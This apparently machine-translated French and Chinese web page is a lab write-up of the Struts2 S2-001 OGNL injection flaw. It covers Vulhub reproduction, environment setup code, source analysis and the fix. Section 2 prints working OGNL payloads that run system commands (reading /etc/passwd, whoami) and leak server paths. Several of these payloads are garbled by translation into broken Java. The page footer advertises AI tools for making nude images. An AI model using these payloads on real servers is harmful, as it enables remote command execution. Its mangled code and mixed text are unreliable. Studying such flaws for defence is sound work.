Table des matières
Série de vulnérabilités Vulhub : vulnérabilité struts2 S2-001
1. Description de la vulnérabilité :
Exploitation de la vulnérabilité 2.vulhub :
3.搭建环境
4.原理分析
5.漏洞修复
6.OGNL表达式
Maison Opération et maintenance Sécurité Exemple d'analyse de la vulnérabilité Struts2 S2-001

Exemple d'analyse de la vulnérabilité Struts2 S2-001

May 15, 2023 pm 03:58 PM
struts2

Série de vulnérabilités Vulhub : vulnérabilité struts2 S2-001

1. Description de la vulnérabilité :

La vulnérabilité struts2 S2-001 se produit lorsque l'utilisateur soumet les données du formulaire et que la vérification échoue, le serveur utilise l'expression OGNL pour analyser la valeur du paramètre précédemment soumise par l'utilisateur. , %{ value} et remplissez à nouveau les données du formulaire correspondantes. Par exemple, dans une page d’inscription ou de connexion. Si la soumission échoue, le serveur renvoie généralement par défaut les données précédemment soumises. Étant donné que le serveur utilise %{value} pour effectuer l'analyse des expressions OGNL sur les données soumises, le serveur peut directement envoyer la charge utile pour exécuter la commande.

Exploitation de la vulnérabilité 2.vulhub :

L'utilisation de vulhub pour reproduire la vulnérabilité peut sauver le processus de construction de l'environnement, ce qui est très pratique.

Adresse du site officiel de vulhub : https://vulhub.org

struts2漏洞 S2-001实例分析struts2漏洞 S2-001实例分析

Démarrez l'environnement de vulnérabilité.

docker-compsoe up -d
Copier après la connexion

Entrez la charge utile du test

%{1+1}
Copier après la connexion

struts2漏洞 S2-001实例分析Vous pouvez voir que notre expression d'addition est exécutée avec succès.

struts2漏洞 S2-001实例分析

Cette fois, nous essayons l'exécution de commandes, new java.lang.String[ {"cat","/etc/passwd"} Modifiez la commande que nous voulons exécuter ici.

%{#a=(new java.lang.ProcessBuilder(new java.lang.String[ {"cat","/etc/passwd"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get(“com.opensymphony.xwork2.dispatcher.HttpServletResponse”),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}
Copier après la connexion

struts2漏洞 S2-001实例分析lu avec succès le fichier passwd.

struts2漏洞 S2-001实例分析

Trois déclarations d'utilisation sont données ci-dessous :

Obtenir le chemin Tomcat
%{"tomcatBinDir{"+@java.lang.System@getPro perty("utilisateur. dir")+"}"}
Obtenir le chemin Web
%{#req=@org.apache.struts2.ServletActionContext@getRequest(),#response=# context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),#response.println(#req.getRealPath('/')),#response.flush(),#response.close() }
Exécution de la commande
%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"whoami"})).redirectErrorStream (true).start(),#b=#a.getInputStream(),#c=nouveau java.io.InputStreamReader(#b),#d=nouveau java.io.BufferedReader(#c),#e=nouveau char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String (#e)),#f.getWriter().flush(),#f.getWriter().close()}

3.搭建环境

平台:win10

工具:Apache Tomcat 9.0.7,IntelliJ IDEA

下载IntelliJ IDE之后我们选择免费试用一个月,接下来创建我们的项目。

struts2漏洞 S2-001实例分析这个是搭建完成后的效果,下边所有创建添加的jar包或者修改的文件都按照这个格式进行。

struts2漏洞 S2-001实例分析目录结构如下。

struts2漏洞 S2-001实例分析

需要如下几个包,下载地址:

http://archive.apache.org/dist/struts/binaries/struts-2.0.1-all.zip

解压完之后,我们把lib目录下对应的jar包导入到我们在项目中创建的lib目录中。

struts2漏洞 S2-001实例分析

struts2漏洞 S2-001实例分析

接着发布我们导入的jar包,不然会报错。

struts2漏洞 S2-001实例分析

接下来就是我们要创建的几个文件,这里代码都给出来了,直接copy就行。(注意:一定要按照前边给出的目录结构放置下边的文件)

web.xml

<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns="http://xmlns.jcp.org/xml/ns/javaee" xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_3_1.xsd" id="WebApp_ID" version="3.1"><display-name>S2-001 Example</display-name><filter><filter-name>struts2</filter-name><filter-class>org.apache.struts2.dispatcher.FilterDispatcher</filter-class></filter><filter-mapping><filter-name>struts2</filter-name><url-pattern>/*</url-pattern></filter-mapping><welcome-file-list><welcome-file>index.jsp</welcome-file></welcome-file-list>
</web-app>
Copier après la connexion

index.jsp

<%@ page language="java" contentType="text/html; charset=UTF-8"
         pageEncoding="UTF-8"%>
<%@ taglib prefix="s" uri="/struts-tags" %>
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
  <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
  <title>S2-001</title>
</head>
<body>
<h3>S2-001 Demo</h3>
<p>link: <a href="https://cwiki.apache.org/confluence/display/WW/S2-001">https://cwiki.apache.org/confluence/display/WW/S2-001</a></p>
<s:form action="login">
  <s:textfield name="username" label="username" />
  <s:textfield name="password" label="password" />
  <s:submit></s:submit>
</s:form>
</body>
</html>
Copier après la connexion

welcome.jsp

<%@ page language="java" contentType="text/html; charset=UTF-8"
         pageEncoding="UTF-8"%>
<%@ taglib prefix="s" uri="/struts-tags" %>
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><title>S2-001</title>
</head>
<body>
<p>Hello <s:property value="username"></s:property></p>
</body>
</html>
Copier après la connexion

LoginAction.java

package com.demo.action;

import com.opensymphony.xwork2.ActionSupport;

public class LoginAction extends ActionSupport {
    private String username = null;
    private String password = null;

    public String getUsername() {
        return this.username;
    }

    public String getPassword() {
        return this.password;
    }

    public void setUsername(String username) {
        this.username = username;
    }

    public void setPassword(String password) {
        this.password = password;
    }

    public String execute() throws Exception {
        if ((this.username.isEmpty()) || (this.password.isEmpty())) {
            return "error";
        }
        if ((this.username.equalsIgnoreCase("admin"))
                && (this.password.equals("admin"))) {
            return "success";
        }
        return "error";
    }
}
Copier après la connexion

src目录下新建struts.xml

<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE struts PUBLIC
        "-//Apache Software Foundation//DTD Struts Configuration 2.0//EN"
        "http://struts.apache.org/dtds/struts-2.0.dtd">
<struts><package name="S2-001" extends="struts-default"><action name="login" class="com.demo.action.LoginAction"><result name="success">welcome.jsp</result><result name="error">index.jsp</result></action></package>
</struts>
Copier après la connexion

4.原理分析

漏洞部分代码

xwork-2.0-beta-1.jar/com.opensymphony.xwork2/util/TextParseUtil.java

public static Object translateVariables(char open, String expression, ValueStack stack, Class asType, TextParseUtil.ParsedValueEvaluator evaluator) {
    Object result = expression;

    while(true) {
        int start = expression.indexOf(open + "{");
        int length = expression.length();
        int x = start + 2;
        int count = 1;

        while(start != -1 && x < length && count != 0) {
            char c = expression.charAt(x++);
            if (c == &#39;{&#39;) {
                ++count;
            } else if (c == &#39;}&#39;) {
                --count;
            }
        }

        int end = x - 1;
        if (start == -1 || end == -1 || count != 0) {
            return XWorkConverter.getInstance().convertValue(stack.getContext(), result, asType);
        }

        String var = expression.substring(start + 2, end);
        Object o = stack.findValue(var, asType);
        if (evaluator != null) {
            o = evaluator.evaluate(o);
        }

        String left = expression.substring(0, start);
        String right = expression.substring(end + 1);
        if (o != null) {
            if (TextUtils.stringSet(left)) {
                result = left + o;
            } else {
                result = o;
            }

            if (TextUtils.stringSet(right)) {
                result = result + right;
            }

            expression = left + o + right;
        } else {
            result = left + right;
            expression = left + right;
        }
    }
}
Copier après la connexion

运行我们搭建好的环境,记得开启debug模式

struts2漏洞 S2-001实例分析password处输入我们的测试语句:%{333*666},正确结果是多少来着,待我找个计算机算一下先(手动笑哭表情)

struts2漏洞 S2-001实例分析

expression会获取不同的参数值,我们直到其获取到password开始分析漏洞原因。

struts2漏洞 S2-001实例分析struts2漏洞 S2-001实例分析然后这次的判断跳过了中间的return,为啥会跳过return呢?因为这里的password内容任然是一个ognl表达式所以会再次进入循环,接着这里取出%{password}中间的值password赋给var。struts2漏洞 S2-001实例分析在解析完%{password}表达式之后要获取其中的内容password进行展示,也就是我们这里的%{333*666}

struts2漏洞 S2-001实例分析然后这次的判断同样也会跳过中间的return,为啥会跳过return呢?因为这里的password内容依然是一个ognl表达式所以会再次进入循环,接着这里取出%{333*666}中间的值333*666赋给var。

struts2漏洞 S2-001实例分析

然后通过Object o = stack.findValue(var, asType)获得到password的值为333*666,然后重新赋值给expression,进行下一次循环。

在这一次循环的时候,就会解析333*666,并将赋值给了o,经过计算后expression的值就变成了221788。

struts2漏洞 S2-001实例分析不是OGNL表达式时就会进入

struts2漏洞 S2-001实例分析struts2漏洞 S2-001实例分析

5.漏洞修复

判断了循环的次数,从而在解析到%{333*666}的时候不会继续向下递归,相当于限制了解析ongl的次数。

struts2漏洞 S2-001实例分析

也就不会对用户提交的参数进行ongl解析

if (loopCount > maxLoopCount) {
    // translateVariables prevent infinite loop / expression recursive evaluation
    break;
}
Copier après la connexion

6.OGNL表达式

这里搬运大佬总结好的东西。

OGNL est l'abréviation de Object-Graph Navigation Language. C'est un langage d'expression puissant (Expression Language, appelé EL). Grâce à sa syntaxe d'expression simple et cohérente, vous pouvez accéder à toutes les propriétés de l'objet et appeler la méthode de l'objet, parcourez le diagramme de structure de l'objet entier et implémentez des fonctions telles que la conversion de type de champ. Il utilise les mêmes expressions pour accéder aux propriétés de l'objet. Trois éléments d'OGNL : (La partie suivante est extraite de quelque part sur Internet, je pense que c'est bien dit)

1. Expression

L'expression est au cœur de l'ensemble de l'OGNL. Toutes les opérations OGNL sont effectuées après l'analyse de l'expression. de. L'expression précisera ce que cette opération OGNL va faire. Nous pouvons voir que dans le test ci-dessus, nom, département.nom, etc. sont toutes des expressions, indiquant que la valeur de nom ou nom dans département est prise. OGNL prend en charge de nombreux types d'expressions, et nous en verrons plus plus tard.

2. Objet racine

L'objet racine peut être compris comme l'objet d'opération d'OGNL. Après que l'expression précise « quoi faire », vous devez également préciser « à qui » cela doit être fait. Dans le code de test ci-dessus, l'utilisateur est l'objet racine. Cela signifie que nous devons obtenir la valeur de l'attribut name pour l'objet utilisateur (et définir la valeur de l'attribut name dans le département pour l'objet utilisateur).

3. Contexte

Avec les expressions et les objets racine, nous pouvons réellement utiliser les fonctions de base d'OGNL. Par exemple, obtenez ou définissez la valeur de l'objet racine en fonction de l'expression. Mais en fait, au sein d’OGNL, toutes les opérations se dérouleront dans un environnement spécifique, qui est le contexte d’OGNL. Pour le dire plus clairement, c'est ce contexte qui précisera « où faire » le fonctionnement de l'OGNL.
Le contexte d'OGN L est une structure Map, appelée OgnlContext. L'objet racine (Root
Object) que nous avons mentionné ci-dessus sera en fait ajouté à l'environnement contextuel, et cela sera traité comme une variable spéciale, en particulier le stockage de l'objet racine (Root
Object). L'expression de l'opération de récupération le fait. il n'est pas nécessaire de les distinguer en ajoutant le symbole #. Liste des opérations de fonction d'expression :

Par exemple : xxxx, xxxx.xxxx, xxxx. OGNL prend en charge l'accès séquentiel aux conteneurs tels que les tableaux et ArrayList : par exemple : group.users[0]En même temps, OGNL prend en charge la recherche de valeur clé pour Map :Par exemple : #session[ 'mySessionPropKey'] De plus, OGNL prend également en charge les expressions pour la construction de conteneurs : Par exemple : {"green", "red", "blue"} construit une liste, #{"key1" : "value1", "key2 " : "value2 ", "key3" : "value3"}Construire une carte
Par exemple : #xxxx, #xxxx. xxxx, #xxxx.xxxx , *, /, ++, --, ==, !=, = et d'autres opérateurs, vous pouvez également utiliser mod, in, not. dans, etc. 4. Conteneurs, tableaux, objets
Vous pouvez également créer de nouveaux objets via le constructeur de n'importe quel objet de classe
Par exemple : new Java.net.URL("xxxxxx/") 5. Pour méthodes ou variables statiques Pour accéder aux méthodes et champs statiques d'une classe, ils sont exprimés de la même manière que @class@member ou @class@method(args) : 6. L'appel de méthode
est effectué directement via un appel de méthode de type Java méthode, vous pouvez même passer des paramètres :
Par exemple : user.getName(), group.users.size(), group.containsUser(#requestUser) 7. Projection et sélection
OGNL prend en charge la projection et la sélection similaires à celles de la base de données .
La projection consiste à sélectionner les mêmes attributs de chaque élément dans ** pour former un nouveau **, ce qui est similaire au fonctionnement sur le terrain d'une base de données relationnelle. La syntaxe de l'opération de projection est collection.{XXX}, où XXX est l'attribut public de chaque élément de ce **.
Par exemple : group.userList.{username} obtiendra une liste des noms de tous les utilisateurs d'un certain groupe.
La sélection consiste à filtrer les ** éléments qui répondent aux conditions de sélection, similaire à l'opération d'enregistrement d'une base de données relationnelle. La syntaxe de l'opération de sélection est la suivante : collection.{X YYY}, où X est un opérateur de sélection, suivi de l'expression logique de la sélection. Il existe trois opérateurs de sélection :
? Sélectionnez tous les éléments qui remplissent la condition
^ Sélectionnez le premier élément qui remplit la condition
$ Sélectionnez le dernier élément qui remplit la condition
Par exemple : group.userList.{? = null } obtiendra une liste d'utilisateurs dont le nom n'est pas vide dans un certain groupe.



Ce qui précède est le contenu détaillé de. pour plus d'informations, suivez d'autres articles connexes sur le site Web de PHP en chinois!

Déclaration de ce site Web
Le contenu de cet article est volontairement contribué par les internautes et les droits d'auteur appartiennent à l'auteur original. Ce site n'assume aucune responsabilité légale correspondante. Si vous trouvez un contenu suspecté de plagiat ou de contrefaçon, veuillez contacter admin@php.cn

Outils d'IA chauds

Undresser.AI Undress

Undresser.AI Undress

Application basée sur l'IA pour créer des photos de nu réalistes

AI Clothes Remover

AI Clothes Remover

Outil d'IA en ligne pour supprimer les vêtements des photos.

Undress AI Tool

Undress AI Tool

Images de déshabillage gratuites

Clothoff.io

Clothoff.io

Dissolvant de vêtements AI

AI Hentai Generator

AI Hentai Generator

Générez AI Hentai gratuitement.

Article chaud

R.E.P.O. Crystals d'énergie expliqués et ce qu'ils font (cristal jaune)
4 Il y a quelques semaines By 尊渡假赌尊渡假赌尊渡假赌
R.E.P.O. Meilleurs paramètres graphiques
4 Il y a quelques semaines By 尊渡假赌尊渡假赌尊渡假赌
R.E.P.O. Comment réparer l'audio si vous n'entendez personne
4 Il y a quelques semaines By 尊渡假赌尊渡假赌尊渡假赌
R.E.P.O. Commandes de chat et comment les utiliser
4 Il y a quelques semaines By 尊渡假赌尊渡假赌尊渡假赌

Outils chauds

Bloc-notes++7.3.1

Bloc-notes++7.3.1

Éditeur de code facile à utiliser et gratuit

SublimeText3 version chinoise

SublimeText3 version chinoise

Version chinoise, très simple à utiliser

Envoyer Studio 13.0.1

Envoyer Studio 13.0.1

Puissant environnement de développement intégré PHP

Dreamweaver CS6

Dreamweaver CS6

Outils de développement Web visuel

SublimeText3 version Mac

SublimeText3 version Mac

Logiciel d'édition de code au niveau de Dieu (SublimeText3)

Comment afficher les vulnérabilités historiques de Struts2 du point de vue de la protection Comment afficher les vulnérabilités historiques de Struts2 du point de vue de la protection May 13, 2023 pm 05:49 PM

1. Introduction La vulnérabilité Struts2 est une série classique de vulnérabilités. La cause première est que Struts2 introduit des expressions OGNL pour rendre le framework flexible et dynamique. Avec l'amélioration des correctifs du framework global, il sera désormais beaucoup plus difficile de découvrir de nouvelles vulnérabilités Struts2 qu'auparavant. À en juger par la situation actuelle, la plupart des utilisateurs ont déjà réparé les vulnérabilités historiques à haut risque. Actuellement, lors des tests d'intrusion, les vulnérabilités de Struts2 sont principalement laissées au hasard, ou il sera plus efficace d'attaquer les systèmes non corrigés après avoir été exposés à l'intranet. Les articles d'analyse en ligne analysent principalement ces vulnérabilités Struts2 du point de vue de l'attaque et de l'exploitation. En tant que nouvelle équipe d'attaque et de défense H3C, une partie de notre travail consiste à maintenir la base de règles des produits ips. Aujourd'hui, nous allons revoir ce système.

Quel est le principe du framework Struts2 Quel est le principe du framework Struts2 Jan 04, 2024 pm 01:55 PM

Le principe du framework Struts2 : 1. L'intercepteur analyse le chemin de la requête ; 2. Trouve le nom de classe complet de l'Action ; 3. Crée l'objet Action ; 5. Renvoie le résultat ; analyse. Son principe repose sur le mécanisme d'interception, qui sépare complètement le contrôleur logique métier de l'API Servlet, améliorant ainsi la réutilisabilité et la maintenabilité du code. En utilisant le mécanisme de réflexion, le framework Struts2 peut créer et gérer de manière flexible des objets Action pour traiter les demandes et les réponses.

Exemple d'analyse de la vulnérabilité Struts2 S2-001 Exemple d'analyse de la vulnérabilité Struts2 S2-001 May 15, 2023 pm 03:58 PM

Série de vulnérabilités Vulhub : vulnérabilité struts2 S2-0011 Description de la vulnérabilité : la vulnérabilité struts2 S2-001 se produit lorsque l'utilisateur soumet les données du formulaire et que la vérification échoue, le serveur utilise l'expression OGNL pour analyser la valeur du paramètre précédemment soumise par l'utilisateur, %{value} et remplit les données du formulaire correspondant. Par exemple, dans une page d’inscription ou de connexion. Si la soumission échoue, le serveur renvoie généralement par défaut les données précédemment soumises. Étant donné que le serveur utilise %{value} pour effectuer l'analyse des expressions OGNL sur les données soumises, le serveur peut directement envoyer la charge utile pour exécuter la commande. 2. Exploitation des vulnérabilités Vulhub : L'utilisation de vulhub pour reproduire des vulnérabilités peut sauver le processus de construction de l'environnement, ce qui est très pratique. vu

Comment la vulnérabilité d'exécution de code à distance Struts2 S2-059 se reproduit-elle ? Comment la vulnérabilité d'exécution de code à distance Struts2 S2-059 se reproduit-elle ? May 23, 2023 pm 10:37 PM

0x00 Introduction Struts2 est un framework open source JavaWeb très puissant lancé par l'organisation logicielle Apache, qui est essentiellement équivalent à un servlet. Struts2 est basé sur l'architecture MVC et possède une structure de framework claire. Il est généralement utilisé comme contrôleur pour établir une interaction de données entre les modèles et les vues, et est utilisé pour créer des applications Web Java au niveau de l'entreprise. Il utilise et étend l'API JavaServlet et encourage les développeurs à adopter l'architecture MVC. Struts2 s'appuie sur les excellentes idées de conception de WebWork, absorbe certains des avantages du framework Struts et fournit un cadre d'application Web plus soigné implémenté dans le modèle de conception MVC. vulnérabilité 0x01

Struts2-057 deux versions de l'analyse d'exemple de vulnérabilité RCE Struts2-057 deux versions de l'analyse d'exemple de vulnérabilité RCE May 15, 2023 pm 06:46 PM

Avant-propos Le 22 août 2018, Apache Strust2 a publié le dernier bulletin de sécurité. Apache Struts2 présente une vulnérabilité d'exécution de code à distance à haut risque (S2-057/CVE-2018-11776). La vulnérabilité a été découverte par ManYueMo, un chercheur en sécurité du cabinet. Équipe SemmleSecurityResearch. Cette vulnérabilité est due au fait que lors de l'utilisation de la fonction d'espace de noms pour définir la configuration XML dans le cadre de développement Struts2, la valeur de l'espace de noms n'est pas définie et n'est pas définie dans la configuration d'action de couche supérieure (ActionConfiguration) ou un espace de noms générique est utilisé. ce qui peut conduire à l’exécution de code à distance. De la même manière, tu

Comment reproduire la vulnérabilité d'exécution de code à distance Apache Struts2--048 Comment reproduire la vulnérabilité d'exécution de code à distance Apache Struts2--048 May 12, 2023 pm 07:43 PM

0x00 Introduction Le framework Struts2 est une architecture d'application Web open source pour le développement d'applications Web JavaEE. Il utilise et étend JavaServletAPI et encourage les développeurs à adopter l'architecture MVC. Struts2 s'appuie sur les excellentes idées de conception de WebWork, absorbe certains des avantages du framework Struts et fournit un cadre d'application Web plus soigné implémenté dans le modèle de conception MVC. 0x01 Présentation de la vulnérabilité La série ApacheStruts22.3.x a le plug-in struts2-struts1-plugin activé et le répertoire struts2-showcase existe. La cause de la vulnérabilité est lorsque ActionMe.

Exemple d'analyse des risques du site framework Struts2 Exemple d'analyse des risques du site framework Struts2 May 30, 2023 pm 12:32 PM

1. Présentation Struts est un projet open source sponsorisé par Apache Software Foundation (ASF). Il a commencé comme un sous-projet du projet de Jakarta et est ensuite devenu un projet de haut niveau d'ASF. En utilisant la technologie JavaServlet/JSP, il implémente le cadre d'application [WebFramework] basé sur le modèle de conception Model-View-Controller [MVC] des applications Web JavaEE. Il s'agit d'un produit classique dans le modèle de conception classique MVC. Au début du développement des applications Web JavaEE, en plus d'utiliser la technologie Servlet, HTM était généralement utilisé dans le code source de JavaServerPages (JSP).

Exemple de rapport CNNVD sur la vulnérabilité de sécurité d'Apache Struts2 S2-057 Exemple de rapport CNNVD sur la vulnérabilité de sécurité d'Apache Struts2 S2-057 May 11, 2023 pm 08:04 PM

Actuellement, Apache a officiellement publié une mise à jour de version pour corriger la vulnérabilité. Il est recommandé aux utilisateurs de confirmer la version du produit Apache Struts à temps et, s'il est concerné, de prendre des mesures correctives en temps opportun. 1. Introduction à la vulnérabilité ApacheStruts2 est un sous-projet du projet Jakarta de l'American Apache Software Foundation. Il s'agit d'un framework d'application Web basé sur la conception MVC. Le 22 août 2018, Apache a officiellement publié la vulnérabilité de sécurité Apache Struts2S2-057 (CNNVD-201808-740, CVE-2018-11776). Lors de l'activation de la fonction pan-namespace dans le framework de développement struts2

See all articles